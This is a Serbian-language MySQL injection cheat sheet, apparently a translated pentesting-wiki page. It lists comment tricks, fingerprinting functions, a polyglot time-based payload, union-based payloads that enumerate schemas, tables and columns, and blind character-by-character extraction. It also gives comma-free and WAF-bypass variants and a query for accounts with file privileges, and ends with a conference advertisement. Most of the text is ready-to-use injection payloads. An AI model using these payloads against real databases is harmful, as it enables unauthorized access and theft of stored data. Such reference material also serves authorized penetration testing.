MySQL injection

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Comments

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Zanimljive Funkcije

Potvrdi Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Korisne funkcije

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Sve injekcije

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Tok

Zapamtite da u "modernim" verzijama MySQL možete zameniti "information_schema.tables" sa "mysql.innodb_table_stats" (Ovo može biti korisno za zaobilaženje WAF-ova).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Samo 1 vrednost

• group_concat()

• Limit X,1

Slepo jedan po jedan

• substr(version(),X,1)='r' ili substring(version(),X,1)=0x70 ili ascii(substr(version(),X,1))=112

• mid(version(),X,1)='5'

Slepo dodavanje

• LPAD(version(),1...dužina(version()),'1')='asd'...

• RPAD(version(),1...dužina(version()),'1')='asd'...

• SELECT RIGHT(version(),1...dužina(version()))='asd'...

• SELECT LEFT(version(),1...dužina(version()))='asd'...

• SELECT INSTR('foobarbar', 'fo...')=1

Otkrivanje broja kolona

Korišćenje jednostavnog ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Naučite ovde različite opcije za zloupotrebu Mysql injekcije da dobijete SSRF.

WAF bypass trikovi

Alternatives to information_schema

Zapamtite da u "modernim" verzijama MySQL možete zameniti information_schema.tables sa mysql.innodb_table_stats ili sa sys.x$schema_flattened_keys ili sa sys.schema_table_statistics

MySQLinjection bez ZAREZA

Izaberite 2 kolone bez korišćenja bilo kakvog zareza (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Preuzimanje vrednosti bez imena kolone

Ako u nekom trenutku znate ime tabele, ali ne znate imena kolona unutar tabele, možete pokušati da saznate koliko kolona ima izvršavajući nešto poput:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Pretpostavljajući da postoje 2 kolone (prva je ID, a druga je flag), možete pokušati da bruteforce-ujete sadržaj flaga pokušavajući karakter po karakter:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Više informacija na https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

MySQL istorija

Možete videti druge izvršenja unutar MySQL-a čitajući tabelu: sys.x$statement_analysis

Verzija alternative

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Ostali MYSQL injection vodiči

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md

Reference

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md

​​​​RootedCON je najrelevantnija sajber bezbednosna manifestacija u Španiji i jedna od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.

RootedCONRootedCON

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